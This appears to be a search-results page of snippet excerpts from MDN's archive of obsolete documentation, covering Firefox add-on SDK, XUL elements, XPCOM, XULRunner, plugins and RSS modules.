...so edit the message handler assigned to the selector so that on receiving the show message we assign the content of the message to the panel using a new property annotationanchor, and show the panel: var selector = pagemod.pagemod({ include: ['*'], contentscriptwhen: 'ready', contentscriptfile: [data.url('jquery-1.4.2.min.js'), data.url('selector.js')], onattach: function(worker) { worker.postmessage(annotatorison); selectors.push(worker); worker.port.on('show', function(data) { annotationedi...
Chrome Authority - Archive of obsolete content
using chrome authority the most powerful low-level modules are run with "chrome privileges", which gives them access to the infamous components object, which grants unfettered access to the host system.
... your modules should refrain from using chrome privileges unless they are absolutely necessary.
... chrome-authority-using modules must receive extra security review, and most bugs in these modules are security-critical.
Creating Event Targets - Archive of obsolete content
if you use the sdk's event framework for your event targets, users of your module can listen for events using the sdk's standard event api.
...it will emit events when the user adds and visits bookmarks, enabling users of the module to listen for these events using the sdk's standard event api.
... using the places api first, let's write some code using places api that logs the uris of bookmarks the user adds.
Listen for Page Load - Archive of obsolete content
you can get notifications about new pages loading using the tabs module.
... to access tab content you need to attach a script to the tab using tab.attach().
... to learn more about running scripts in tabs, see the tutorial on using tab.attach().
Developing for Firefox Mobile - Archive of obsolete content
firefox for android implements its ui using native android widgets instead of xul.
... enable usb debugging on the device (step 2 of this link only) on the development machine: install version 1.5 or higher of the add-on sdk install the correct version of the android sdk for your device using the android sdk, install the android platform tools next, attach the device to the development machine via usb.
... afterwards you can delete it using adb as follows: adb shell cd /mnt/sdcard rm my-addon.xpi module compatibility modules not supported in firefox mobile are marked in the tables below.
Examples and demos from articles - Archive of obsolete content
this is a common technique used, for example, in order to create pure-css dropdown menus (that is only css, without using javascript).
... xml to json conversion snippets (jxon) jxon (lossless javascript xml object notation) is a generic name by which is defined the representation of javascript objects using xml.
... using setinterval within animations sometimes a page uses dozens and dozens of animations.
JavaScript Debugger Service - Archive of obsolete content
try to avoid using it.
... var jsd = components.classes["@mozilla.org/js/jsd/debugger-service;1"] .getservice(components.interfaces.jsdidebuggerservice); jsd.on(); // enables the service till firefox 3.6, for 4.x use asyncon if (jsd.ison) jsd.off(); // disables the service hooks jsd operates using the events hook mechanism.
... when jsd.errorhook[onerror] returns false jsd.debughook = { onexecute: function(frame, type, rv) { // your function here } }; jsd.enumeratescripts({ // the enumeratescript method will be called once for every script jsd knows about enumeratescript: function(script) { // your function here } }); a simple stack trace here, we will show how to implement a simple javascript stack trace using the jsd.
Miscellaneous - Archive of obsolete content
using string bundles from javascript assuming the extension has myext.properties with name/value pairs such as: invalid.url=the speficied url, %s, is invalid.
...dle: components.classes["@mozilla.org/intl/stringbundle;1"] .getservice(components.interfaces.nsistringbundleservice) .createbundle("chrome://myext/locale/myext.properties"), getlocalizedmessage: function(msg) { return this._bundle.getstringfromname(msg); } }; alert(common.getlocalizedmessage("invalid.url")) another similar alternative (using both getstringfromname and formatstringfromname), is: var fcbundle = components.classes["@mozilla.org/intl/stringbundle;1"] .getservice(components.interfaces.nsistringbundleservice) .createbundle("chrome://myext/locale/myext.properties"); function getstr(msg, args){ //get localised message if (args){ args = array.prototype.slice.call(arguments, 1); return...
... window.addeventlistener('fullscreen', function(){ alert('fullscreen mode on or off') }, false) getting addon install path first one using addon manager: components.utils.import('resource://gre/modules/addonmanager.jsm'); addonmanager.getaddonbyid('example@addon', function(addon) { let path = addon.getresourceuri().path; // something like /home/username/....
Running applications - Archive of obsolete content
this page describes how to run other programs from your chrome javascript code, using mozilla xpcom interfaces.
... using nsiprocess the recommended way is to use the nsiprocess interface because it is crossplatform.
... using nsilocalfile.launch() this method is not implemented on all platforms, especially not on unix/linux!
StringView - Archive of obsolete content
e a collection of methods for such string-like objects (since now: stringviews) which work strictly on arrays of numbers rather than on creating new immutable javascript strings to work with unicode encodings other than javascript's default utf-16 domstrings introduction as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using websockets, and so forth, it has become clear that there are times when it would be helpful for javascript code to be able to quickly and easily manipulate raw binary data.
... in the past, this had to be simulated by treating the raw data as a string and using the charcodeat() method to read the bytes from the data buffer.
... examples var mystringview = new stringview("\u6432\u6432\u6432\u6432"); alert(mystringview.makeindex()) // 4 alert(mystringview.makeindex(2)) // 6 …using the startfrom argument… var mystringview = stringview.makefrombase64("5lit5pahigvzcghdsw9sievuz2xpc2gg4ks54ks/4kso4kwn4ksm4kwainin2ytyudix2kjzitipihbvcnr1z3xdqnmg4kas4ka+4kac4kay4ka+inga0yprgdgb0lrqunc5ioaxpeacroiqnidgqkrgqbdgqjzgql7gqkzgqy=="); alert(mystringview); /* get the hindi subview...
Windows - Archive of obsolete content
re-using and focusing named windows while specifying the name parameter to window.open or window.opendialog will prevent multiple windows of that name from opening, each call will actually re-initialize the window and thus lose whatever state the user has put it in.
...you can get a dom window's id using the nsidomwindowutils attribute outerwindowid.
... similarly, you can get the current inner window id using the nsidomwindowutils attribute currentinnerwindowid: var util = win.queryinterface(components.interfaces.nsiinterfacerequestor).getinterface(components.interfaces.nsidomwindowutils); var windowid = util.currentinnerwindowid; programatically modifying html when attempting to modify html elements, it is important to specify the namespace.
Default Preferences - Archive of obsolete content
user supplied prefs are set using the gui and also by modifying a profile's prefs.js file (which uses the user_pref() function).
...setting default preferences while most of an extension's directories can be named arbitrarily and mapped using a chrome manifest, default preferences must be in very particular spot: | extension root +--|content +--|skin +--|defaults +--|preferences to add preferences simply drop a .js file into that directory and mozilla will read it and set the appropriate preferences.
...inside your file you set preferences using the pref() function: pref("name", "value") example: pref('extensions.defaultprefs.example.int', 1); pref('extensions.defaultprefs.example.float', 0.1); pref('extensions.defaultprefs.example.string', 'fadf'); pref('extensions.defaultprefs.example.bool', true); notice that unlike when you're reading preferences, writing default preferences uses the same function no matter the data type of the pr...
Extension Etiquette - Archive of obsolete content
user interface tools menu items using the tool menu option gives the author the maximum amount of choices.
...the icons makes the extension lighter, while providing more consistency, especially for users using different themes.
...expando properties are best avoided using tools such as weakmaps.
Firefox addons developer guide - Archive of obsolete content
the firefox add-ons developer guide was contributed by the mozilla japan community; it covers how to go about building firefox extensions using xpcom and xul.
... these days, we recommend using the add-on sdk instead, but there are times when you need the additional control offered by a more direct approach.
... next » introduction to extensions technologies used in developing extensions introduction to xul—how to build a more intuitive ui using xpcom—implementing advanced processes let's build a firefox extension firefox extensions and xul applications license and authors next » ...
Handling Preferences - Archive of obsolete content
download this sample hello world using preferences.
...if you have many preferences, you can organize them using the prefpane element.
...--> </preferences> after you define the preferences you need, you associate them with the form elements in your window or pane using the preference attribute: <textbox preference="xulschoolhello-message-count-pref" type="number" min="0" max="100" /> in this case we use a numeric field to set the message count preference.
Useful Mozilla Community Sites - Archive of obsolete content
one of the main advantages of using amo is that it handles updates automatically for published add-ons.
...developers submit their extensions using the web translation system (wts) and volunteers around the world translate them to different languages.
...using babelzilla takes little time and is very valuable.
XPCOM Objects - Archive of obsolete content
using xpcom components is relatively simple, as you've seen in previous examples.
... creating your own components javascript xpcom components as we've said before, we recommend using jsm whenever you can.
...in this case you may also find it easier to implement your component using jsm and the xpcomutils module.
Performance best practices in extensions - Archive of obsolete content
performing sequential, asynchronous operations can often be greatly simplified using promises.
... avoid mouse movement events avoid using mouse event listeners, including mouseover, mouseout, mouseenter, mouseexit, and especially mousemove.
... consider using chrome workers you can use a chromeworker to execute long running tasks or do data processing.
Add-ons - Archive of obsolete content
add-on sdk using the add-on sdk, you can create firefox add-ons.
...all of these documents currently assume, however, that you are developing your extension using xul and javascript only.
... interaction between privileged and non-privileged pages an easy way to send data from a web page to an extension is by using custom dom events.
XUL user interfaces - Archive of obsolete content
more specialized features can be built from parts by using xul together with other technologies that you have seen in this tutorial: css style, javascript code, and xbl bindings.
... using this knowledge, add a rule to the stylesheet that makes the background of the date box pale blue when it has keyboard focus (but white when keyboard focus is somewhere else).
...mozilla also supports a specialized graphics language for creating shapes, using css stylesheets to specify the style.
Localizing an extension - Archive of obsolete content
using multiple dtds describes how to do it.
...we do this by creating a string bundle, using the following code: <stringbundleset id="stringbundleset"> <stringbundle id="string-bundle" src="chrome://stockwatcher2/locale/stockwatcher2.properties"/> </stringbundleset> this establishes a new string bundle, referenced by the id "string-bundle", whose keys and values are to be loaded from the stockwatcher2.properties file we've already created.
...id="myextensionname-filename") update the javascript code now we're ready to revise the javascript code to load the strings from the string bundle instead of using literal strings.
In-Depth - Archive of obsolete content
well there is an easy way to find out - using the dom inspector.
...using this, we can figure out what objects are where, what classes/id's they have applied to them, and most importantly, which file the style is located in.
...this is done using the -moz-image-region style.
DTrace - Archive of obsolete content
documentation writing scripts a general introduction to writing d scripts and using the built-in mozilla probes.
... optimizing javascript with dtrace a guide on profiling javascript code using dtrace.
... pounce on dtrace a guide to using dtrace on mac os x 10.5.
Drag and Drop - Archive of obsolete content
mozilla implements dragging by using a drag session.
... ondragstart an alias for ondraggesture; this is the html 5 spec name for the event and may be used in html or xul; however, for backward compatibility with older versions of firefox, you may wish to continue using ondraggesture in xul.
...this first involves using the drag and drop xpcom interfaces directly.
Layout FAQ - Archive of obsolete content
if you're on linux, then you can try using jprof.
...d50] [sc=035ff990]< text(0)@035ffa8c[0,4,t] next=035ffb1c {0,0,330,285} [state=41600020] sc=035ffa3c pst=:-moz-non-element< "\nabc" > frame(br)(1)@035ffb1c {330,225,0,0} [state=00000020] [content=035aebf0] > > the linebox is used to contain everything on a single line: example how do you fix inconsistent float behavior in firefox involving a two column layout using display:table and floating div elements?
...try using event.preventdefault() what is the purpose of the ns_lossyconvertucs2toascii() function?
JavaScript crypto - Archive of obsolete content
avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision.
... using the mozilla crypto object from javascript mozilla defines a special javascript object to allow web pages access to certain cryptographic-related services.
...this object can be passed to a ca using a webform.
Java in Firefox Extensions - Archive of obsolete content
your jars are within a // directory called "java" at the root of your extension's folder hierarchy) // you must add this utilities (classloader) jar to give your extension full privileges var extensionurl = "file:///" + extensionpath.path.replace(/\\/g,"/"); var classloaderjarpath = extensionurl + "/java/javafirefoxextensionutils.jar"; // add the paths for all the other jar files that you will be using var myjarpath = extensionurl + "/java/testjava.jar"; // seems you don't actually have to replace the backslashes as they work as well var urlarray = []; // build a regular javascript array (liveconnect will auto-convert to a java array) urlarray[0] = new java.net.url(myjarpath); urlarray[1] = new java.net.url(classloaderjarpath); var cl = java.net.urlclassloader.newinstance(urlarray); //se...
...t security policies using the above policyadd() function policyadd(cl, urlarray); now you can begin using liveconnect, including referencing the classes in your jars.
...one example seems to be the fact that the "java" global is not immediately available if the extension operates in a sidebar (using settimeout solved it at least).
Metro browser chrome tests - Archive of obsolete content
the metro browser chrome test suite is an automated testing framework designed to allow testing of the immersive version of firefox for windows 8 and above using javascript.
... it currently allows you to run javascript code in the same scope as the immersive browser and report results using the same functions as the mochitest test framework.
...using a descriptive file name is strongly encouraged instead of just using a bug number.
Nanojit - Archive of obsolete content
an application using nanojit creates a nanojit::lirbuffer object to hold lir instructions.
... #include <stdio.h> #include <stdint.h> #include "jsapi.h" #include "jstracer.h" #include "nanojit.h" using namespace nanojit; const uint32_t cache_size_log2 = 20; static avmplus::gc gc = avmplus::gc(); static avmplus::avmcore core = avmplus::avmcore(); int main() { logcontrol lc; #ifdef debug lc.lcbits = lc_readlir | lc_assembly; #else lc.lcbits = 0; #endif // set up the basic nanojit objects.
... out.ins0(lir_start); lins *two = out.insimm(2); lins *firstparam = out.insparam(0, 0); lins *result = out.ins2(lir_add, firstparam, two); out.ins1(lir_ret, result); basically, what the code provided above is doing is feeding raw lir into the lir buffer, using the lirwriter's writer object.
Extensions - Archive of obsolete content
extensions are built using the same methods as any mozilla-based extension.
...using this dialog, a user just launches a webapp and opens the add-ons dialog.
...extensions can be removed using the same dialog.
New Skin Notes - Archive of obsolete content
--dria when using floated divs - images and such.
...--dria the menu column seems larger than before in the current test theme, so as to cause some reference pages to look ugly when browser set in 800x* resolution, using the default firefox 1.0.6 fonts settings on xfree86.
...and when done, verify that the designer did not break the page with a "normal" font setting, by using a default profile.
XBL 1.0 Reference - Archive of obsolete content
bindings can be bound to elements using cascading style sheets (css) or dom.
...the documentation process is still in progress: please keep it in your mind while using the provided information.
... bindings binding content children implementation constructor destructor field property getter setter method parameter body handlers handler resources stylesheet image binding attachment and detachment attachment using css attachment using element.style property <constructor> call <destructor> call binding documents dom interfaces the nsidomdocumentxbl interface anonymous content introduction scoping and access using the dom content generation rules for generation attribute forwarding insertion points <children> handling dom changes event flow and targeting flow and targeting across scopes focus and blur events mouseover and mouseout...
Accessing Files - Archive of obsolete content
other documentation on files and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes.
...you can check if the file exists by using nsifile.exists().
...on other platforms, using this value will just result in an error.
Building Hierarchical Trees - Archive of obsolete content
this works just like with recursive generation using the content builder.
... each level of the tree is created using a successive iteration of the template build process.
...when the user opens the row, the template will be re-examined for results using the photo as the starting point instead of the top level ref value.
Building Menus With Templates - Archive of obsolete content
« previousnext » menus may be generated using a template in the same manner as other elements.
...it is very simple to create a menu using a template.
... here is an example using an xml source: <button type="menu" datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="person"/> <action> <menupopup> <menuitem uri="?" label="?name"/> </menupopup> </action> </template> </button> <button label="children" oncommand="alert(this.previoussibling.childnodes.length);"/> in this example, the datasources attribute has been placed on a menu-type button.
SQLite Templates - Archive of obsolete content
the second method involves using a special url form: profile:filename.sqlite this form with the 'profile' prefix is used to refer to files in the profile directory.
...you can return multiple columns or filtered data by using a more complex query.
...the solution is to use query parameters, using the param element.
Simple Example - Archive of obsolete content
this will result in the following: <member container="http://www.xulplanet.com/rdf/myphotos" child="?photo"/> as with processing a triple, the builder will now try to find as many values for the ?photo variable as possible and create potential results using them.
...for the first result, the value of the ?photo variable is known, so the triple will be evaluated like so: <triple subject="http://www.xulplanet.com/ndeakin/images/t/palace.jpg" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> the builder next calculates the value for ?title using the predicate 'http://purl.org/dc/elements/1.1/title'.
...the action body might look like the following, which displays the image using its url and title in a label.
Special Condition Tests - Archive of obsolete content
the code above accomplishes the same effect except that it using the parent matching mechanism.
...here is the same example using the extended template syntax: <vbox datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood"> <template> <query> <content uri="?start"/> <member container="?start" child="?item"/> </query> <rule parent="vbox"> <binding subject="?item" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <action> ...
...it is commonly used with menus, and we can rewrite the previous example using the iscontainer attribute instead.
Things I've tried to do with XUL - Archive of obsolete content
"background: blue;"/> </vbox> workaround: no real good ones; the closest i've gotten is to use a div instead of a box container: <html:div style="-moz-box-flex: 1; width: 100%; height: 100%;"> <box style="height: 30%" flex="1" style="background: green;"/> <box style="height: 20%" flex="1" style="background: green;"/> <box style="height: 50%" flex="1" style="background: green;"/> </html:div> using flex="3" flex="2" flex="5" would give the right display visually for the empty boxes; however, flex only applies to how empty space is allocated.
... xbl in listboxes using xbl bindings in listboxes is not easy because there is a big bug there: if you create from js an element you want to bind, and if it is hidden when the listbox is first rendered, the listbox does not create a frame for it, and the xbl doesn't get attached...
...instead, you must build up your own listitem full of listcells, and then add that listitem to the listbox, using generic dom calls: var row = document.createelement('listitem'); // create and attach 1st cell var cell = document.createelement('listcell'); cell.setattribute('label', label ); cell.setattribute('value', value ); row.appendchild( cell ); // create and attach 2nd cell cell = document.createelement('listcell'); cell.setattribute('label', label2 ); cell.setattribute('value', value2 ); row.appendch...
Creating toolbar buttons (Customize Toolbar Window) - Archive of obsolete content
this article explains how to add a toolbar button to a toolkit application (such as firefox, thunderbird, or kompozer) using overlays.
... onclick="checkformiddleclick(this, event)" you can also handle middle-click and right-click using onclick handler and check event.button in it like this: <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="myextension-button" class="toolbarbutton-1" label="&toolbarbutton.label;" tooltiptext="&toolbarbutton.tooltip;" onclick="myextension.onclick(event);"/> </toolbarpalette> onclick: function(event) { switch(event.button) { case 0: // left click break; case 1: // middle ...
... to include the style on your chrome.manifest file: style chrome://global/content/customizetoolbar.xul chrome://myextension/skin/toolbar-button.css if you are developing for firefox 1.0, attach it to the customize toolbar window (chrome://global/content/customizetoolbar.xul) using skin/contents.rdf.
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
if your language uses accents or other non-latin characters, set your text editor to save files using the utf-8 encoding.
...however, you might see messages that are unhelpful or confusing, or that come from other parts of the application.
...you might have to use trial and error to find values that work well, and you might find that not all positions are possible using this technique.
Advanced Rules - Archive of obsolete content
we can then get related resources to the root resource by using the 'list' variable.
...in fact, the bookmark's title would be another triple in the datasource using the name predicate.
... if using the dont-build-content flag on a tree, replace the content element with a treeitem element.
Creating a Wizard - Archive of obsolete content
the pages of the wizard are created using the wizardpage element.
...wizards will generally be displayed using customs that are familiar to the user of a particular os.
... the title across the top is created using the title attribute, much like one would use for regular windows.
Keyboard Shortcuts - Archive of obsolete content
usually, a keyboard shortcut will be allowed at any time and you can check to see whether it should do something using a script.
... using the keyboard shortcuts now that we know how to define keyboard shortcuts, we'll find out how we can use them.
...it is useful to change the disabled attribute using a script.
Localization - Archive of obsolete content
you also need to add the locale to the chrome.manifest file, for example: locale findfile en-us locale/ declaring entities the entities are declared using a simple syntax as shown below: <!entity findlabel "find"> this example creates an entity with the name findlabel and the value "find".
... in addition to using entities for text labels, you should use them for any value that could be different in a different language.
...by using the chrome system to add the dtd file to a different locale, the same xul file can be used in any language.
Modifying the Default Skin - Archive of obsolete content
using it may lead to hard-to-diagnose bugs or crashes.
... a skin is described using css, allowing you to define the colors, borders and images used to draw elements.
... you can assign images to a button, checkbox and other elements by using the list-style-image property as in the following: checkbox { list-style-image: url("chrome://findfile/skin/images/check-off.jpg"); } checkbox[checked="true"] { list-style-image: url("chrome://findfile/skin/images/check-on.jpg"); } this code changes the image associated with a checkbox.
More Button Features - Archive of obsolete content
you can change this position by using two other attributes.
...example 1 : source view <button label="help" image="happy.png"/> button with css image another way to specify the image is by using the css list-style-image style property on the button.
...by using the value normal, or leaving the attribute out entirely, the image will be placed on the left side of the text.
Numeric Controls - Archive of obsolete content
however, the minimum and maximum values can also be specified using the min and max attributes.
...the user may also increment or decrement the value using this increment by using the up and down cursor keys while the textbox is focused.
...using a value of grid uses a calendar grid, as shown in the image below.
Stacks and Decks - Archive of obsolete content
for example, a progress bar might be created using a bar and a label overlaid on top of it.
... this method has advantages over using text-shadow because you could completely style the shadow apart from the main text.
... you can switch pages by using a script to modify the selectedindex attribute.
Styling a Tree - Archive of obsolete content
let's make every fourth row have blue text, using the example from a previous section.
...we create them using the xpcom interface nsiatomservice and add them to the array using the appendelement() function.
...all rows, without the need of using properties; see building trees for an example.
Trees and Templates - Archive of obsolete content
adding datasources to trees when using a tree, you will often use a template to build its content, to handle a large amount of hierarchial data.
... using a template with a tree uses very much the same syntax as with other elements.
...you can see the difference by using mozilla's dom inspector on a tree with and without the flag.
Updating Commands - Archive of obsolete content
invoking commands if a command has an oncommand attribute, you can invoke it just by using the docommand method of the command or an element which links to it.
...then, it checks to see whether the command is enabled, and then executes the command using the docommand method of the controller.
...a simple command updater looks like this: <commandset id="updatepasteitem" commandupdater="true" events="focus" oncommandupdate="goupdatecommand('cmd_paste');"/> a command updater is indicated by using the commandupdater attribute, which should be set to true.
command - Archive of obsolete content
you attach the code to the command using the oncommand attribute.
...using this function has the advantage that the command will be sent to the part of the ui which will respond to it.
...using it with an anchor tag (an <a> link) will have no effect.
editor - Archive of obsolete content
if you do not set the editortype attribute on an editor, you must enable editing using the makeeditable method.
...t: <script language="javascript"> function initeditor(){ // this function is called to set up the editor var editor = document.getelementbyid("myeditor"); editor.contentdocument.designmode = 'on'; } </script> <editor id="myeditor" editortype="html" src="about:blank" flex="1" type="content-primary"/> once editable, the document can have special formatting and other html pieces added to it using the document.execcommand method: var editor = document.getelementbyid("myeditor"); // toggle bold for the current selection editor.contentdocument.execcommand("bold", false, null); see the midas overview for more command strings.
...the window for the primary content can be retrieved more conveniently using window.content.
listcell - Archive of obsolete content
none the text will be not be cropped using an ellipsis.
...using it with an anchor tag (an <a> link) will have no effect.
...specify the image using the image attribute.
menupopup - Archive of obsolete content
it may be attached to any element using the popup attribute.
... it may be attached to any element using the context attribute.
... to have a popup appear relative to another element yet still offset by some number of pixels, determine the actual screen position of the element using the boxobject.screenx and boxobject.screeny properties of the element, and use those as the x and y arguments offset by the desired values.
radiogroup - Archive of obsolete content
using it with an anchor tag (an <a> link) will have no effect.
...for user editable menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax.
...for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
richlistitem - Archive of obsolete content
using it with an anchor tag (an <a> link) will have no effect.
...for user editable menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax.
...for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
scale - Archive of obsolete content
ArchiveMozillaXULscale
using it with an anchor tag (an <a> link) will have no effect.
...for user editable menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax.
...for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
tab - Archive of obsolete content
ArchiveMozillaXULtab
none the text will be not be cropped using an ellipsis.
...using it with an anchor tag (an <a> link) will have no effect.
...for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
textbox - Archive of obsolete content
using it with an anchor tag (an <a> link) will have no effect.
...you may specify grey text to appear when the search box is empty using the emptytext attribute, and a timeout may be set for the command event using the timeout attribute (defaults to 500).
...a workaround using javascript and the onkeypress event handler as shown in abstract below may be your solution.
timepicker - Archive of obsolete content
the value may be retrieved and changed using the value property or the datevalue property.
...however, as described in mozilla bug #799219, a change event handler may encounter erratic behavior when the time is changed using the keyboard instead of the mouse.
...using it with an anchor tag (an <a> link) will have no effect.
treecol - Archive of obsolete content
if you want, you can also style the tree using css.
... none the text will be not be cropped using an ellipsis.
...specify the image using the src attribute.
XUL - Archive of obsolete content
xul applications are applications using xul and other components of the platform).
... menus and popups guide a guide on using menus and popup panels.
...see: using firefox 3 to run xulrunner applications for instructions on running xulrunner apps in firefox.
XULRunner 2.0 Release Notes - Archive of obsolete content
windows unpack the zip file to a new directory using an archive tool (7zip is recommended).
... linux (32-bit) unpack the tarball to a new directory using tar -xjf xulrunner-2.0.en-us.linux-i686.tar.bz2.
... linux (64-bit) unpack the tarball to a new directory using tar -xjf xulrunner-2.0.en-us.linux-x86_64.tar.bz2.
Application Update - Archive of obsolete content
this article will hopefully explain how to update your xulrunner application using the same method that firefox, thunderbird, songbird, and chatzilla use.
... i opted for the simpler approach of not using the update php script.
... at the scheduled interval the application checks the update server for update.xml, search for the correct one using the software name, versions, build id's, channels, and other information like locales.
How to enable locale switching in a XULRunner application - Archive of obsolete content
this article is for developers who have localised their xul application using dtd entity files and want to provide their users with a mechanism to switch the locale in the application itself.
...your application is now going to ignore the os locale, so it would be a good idea to define one to fall back on using the preference "general.useragent.locale".
...you can hardwire the choices into the xul code using fixed list items, or could take the elegant approach and construct the list dynamically.
nsIContentPolicy - Archive of obsolete content
type_ping 10 indicates a ping triggered by a click on an <a> element using the ping attribute.
... type_internal_script 23 an internal constant used to represent scripts loaded using <script> elements.
... [javascript implementations only] access properties of any sort on any object without using xpcnativewrapper (either explicitly or implicitly).
2006-11-10 - Archive of obsolete content
discussions site-specific search using our search box a discussion surrounding implementing a way to search a current page with the page's embedded search component and how to make this efficient and usable.
... event in firefox similar to ondownloadcomplete event in ie an inquiry about how to change the font of a web page before it is displayed using an extenstion.
... quesiton about why a user using firefox 2 rc3 didn't get a prompt for updating to firefox 2 after the release date.
2006-11-10 - Archive of obsolete content
this feature consists of creating buttons using a small program, that allows you to create shortcuts to a particular address.
... reflow branch build failed with vc 7.1 sp1 november 8th: roy received an error when he tried to reflow a branch build using vc 7.1 sp1.
... november 9th: jonathan watt responded to his posting stating that he must have the wrong line endings in his mozconfig or some other script fill that he is probably using to run.
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.builds - november 17th to november 24th 2006 trouble building xulrunner 1.8.4 on winxp using mingw32 november 20th: joe is trying to build xulrunner using the ming compiler on windowsxp.
... he is using make 3.80, working with the source tarball for xulrunner 1.8.4,running "make -f client.mk distclean" followed by "make -f client.mk build_all".
... gecko 1.9 intl rendering peformance november 20th: boris zbarskyannounced that: we need to create an intl performance page set or multiple intl performance page sets and run at least the pageload tests for all of these pagesets, and preferably also some sort of dhtml tests using pages of the different types.
2006-11-10 - Archive of obsolete content
using window.innerheight and window.scrollmaxy should resolve this issue.
...the idea of using a single sheet and the per-site selectors that dbaron implemented would allow for a quick proof of concept.
... the pro's and con's of using a single sheet was discussed.
NPAPI plugin developer guide - Archive of obsolete content
mozilla encourages website developers to avoid using plugins wherever possible.
... plugins are written using npapi, the cross-browser api for plugins.
... plug-in basics how plug-ins are used plug-ins and helper applications how plug-ins work understanding the runtime model plug-in detection how gecko finds plug-ins checking plug-ins by mime type overview of plug-in structure understanding the plug-in api plug-ins and platform independence windowed and windowless plug-ins the default plug-in using html to display plug-ins plug-in display modes using the object element for plug-in display nesting rules for html elements using the appropriate attributes using the embed element for plug-in display using custom embed attributes plug-in references plug-in development overview writing plug-ins registering plug-ins ms windows unix mac os x drawin...
The First Install Problem - Archive of obsolete content
at present plugins registered using the hkey_current_user\software\mozillaplugins\ tree are ignored by firefox (bug 293062) but this is fixed in trunk builds (bug 293062).
... future directions: using object tag with classid: incidental benefit embedders such as compuserve (who now embed gecko in lieu of ie as the default browser) can determine on their own the mechanisms to parse the win32 registry for plids.
...the recommended <object> attribute to set is still either "type" or "data".) advantage: we now no longer have ambiguity in determining which plugin handles what mimetype, because now the plugin has been invoked using the classid attribute of the object tag, which is in compliance with the html 4.01 specification for use of the object tag.
Writing a plugin for Mac OS X - Archive of obsolete content
info.plist the plugin communicates its mime and filename extension information using the info.plist file, which is packaged in the plugin bundle.
... the three symbols that must always be visible are: np_initialize() np_getentrypoints() np_shutdown() the sample plugin is written entirely in c, using a standard xcode build configuration, so by default all of its symbols are c-style and visible.
... if you want to implement your plugin in c++ or objective-c++, you need to tell the compiler to export them in c format by using extern "c" in the header, like this: #pragma gcc visibility push(default) extern "c" { nperror np_initialize(npnetscapefuncs *browserfuncs); nperror np_getentrypoints(nppluginfuncs *pluginfuncs); void np_shutdown(void); } #pragma gcc visibility pop you can check to be sure your symbols are visible and in standard c format by using the nm utility provided among the mac os x developer tools: [user@foo mymac] nm basicplugin ...
Why RSS Content Module is Popular - Including HTML Contents - Archive of obsolete content
using the example above we'd have: <description><![cdata[this is <b>bold</b>.]]></description> this helps reduce the bloat.
...the rss 2.0 specification clearly states that “entity-encoded html is allowed“ and even provides examples showing exactly the syntax above (using cdata and unencoded html).
... an example using the most popular element of the rss content module is shown below: <?xml version="1.0"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" > <channel> <title>example</title> <description>an rss example with slash</description> <lastbuilddate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate> <link>http://www.example.com</link> <item> <title>a link in here</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/114</guid> <pubdate>sun, 15 may 2005 13:02:08 -0500</pubdate> <link>http://www.example.com/blog/2005/05/15/114</link> <content:encoded>...
Why RSS Slash is Popular - Counting Your Comments - Archive of obsolete content
an example using the most popular element of the rss slash module is shown below: <?xml version="1.0"> <rss version="2.0" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>example</title> <description>an rss example with slash</description> <lastbuilddate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate> <link>http://www.exa...
...and some are now using atomic rss for this.
... (using either of these 2 rss modules is out of the scope of this article.) in reality, an item's comments count could change at any given time.
Why use RSS - Archive of obsolete content
there are, in fact, many reasons to use rss, but the two biggest reasons can be broadly dictated by: #1 (obviously only use it if) it fits your needs and #2 it has a huge amount of momentum -- everyone is using it.
...people are using it to syndicate all sorts of things: news articles, blogs, bookmarks, internet radio shows, internet television shows, software updates, e-mails, mailing lists, music playlists, and more.
...(too many to list.) and if you syndicate using rss, then all those desktop and web-based rss aggregators will be able to make use of and read your rss feed.
-moz-maemo-classic - Archive of obsolete content
the -moz-maemo-classic gecko-only css media feature can be used to apply styles based on whether the user agent is using the original maemo theme.
... syntax <integer> if the user agent is using maemo with the original theme, this is 1.
... if it's using the newer fremantle theme, this is 0.
Displaying notifications (deprecated) - Archive of obsolete content
to see how to use the standard api, please read: using web notifications mobile only in gecko 2.0 available only in firefox mobile as of gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) firefox offers support for "desktop notifications"; these are notifications that are displayed to the user outside the context of the web content, using the standard notification system provided by the operating system.
... creating a notification the first thing you need to do is create the notification object by using the navigator.moznotification object's createnotification() method, as follows: var notification = navigator.moznotification.createnotification( "hey, check this out!", "this is a notification posted by " + "firefox 4.
...ppendchild(e); }; displaying the notification once the notification is configured the way you want it to be, call its show() method to display the notification: notification.show(); on android, for example, the resulting notification panel looks like this: when the user taps on the "hey, check this out!" notification here, the resulting changes to the document look like this: if you're using firefox mobile, you can see this example live by tapping the button below.
Generator comprehensions - Archive of obsolete content
for future-facing usages, consider using generator.
...sole.log(it2.next()); // the first value from it, doubled console.log(it2.next()); // the second value from it, doubled when a generator comprehension is used as the argument to a function, the parentheses used for the function call means that the outer parentheses can be omitted: var result = dosomething(for (i in it) i * 2); the significant difference between the two examples being that by using the generator comprehension, you would only have to loop over the 'obj' structure once, total, as opposed to once when comprehending the array, and again when iterating through it.
